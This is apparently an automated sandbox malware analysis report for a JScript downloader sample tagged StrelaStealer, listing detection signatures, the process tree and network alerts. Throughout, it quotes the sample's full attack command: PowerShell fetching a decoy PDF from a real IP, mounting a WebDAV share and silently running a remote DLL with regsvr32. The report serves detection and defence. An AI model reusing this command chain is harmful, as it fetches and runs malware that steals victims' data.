Edit tour

Windows Analysis Report
29522576223272839.js

Overview

General Information

Sample name:	29522576223272839.js
Analysis ID:	1589889
MD5:	e68380efdfb99c187dba2907c20efc21
SHA1:	16c763699fa783c579a171c2aaf13953e4d04051
SHA256:	30ae7d8bf0d4b2e211541da14f197a462e78363eed383130403aace9536e4ce1
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7540 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7636 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7680 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7860 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8092 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1652,i,3310978608312193084,15995746680668013481,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7876 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7904 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8168 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7540	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7636, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7636, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", ProcessId: 7540, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7904, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7540, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 7636, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7540, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 7636, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7540, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 7636, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7540, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 7636, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7540, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 7636, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", ProcessId: 7540, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7636, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7876, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7904, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8168, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7876, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7904, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7540, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 7636, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:47:11.018878+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:47:13.382280+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:47:11.018878+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 29522576223272839.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 29522576223272839.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 29522576223272839.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:47:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

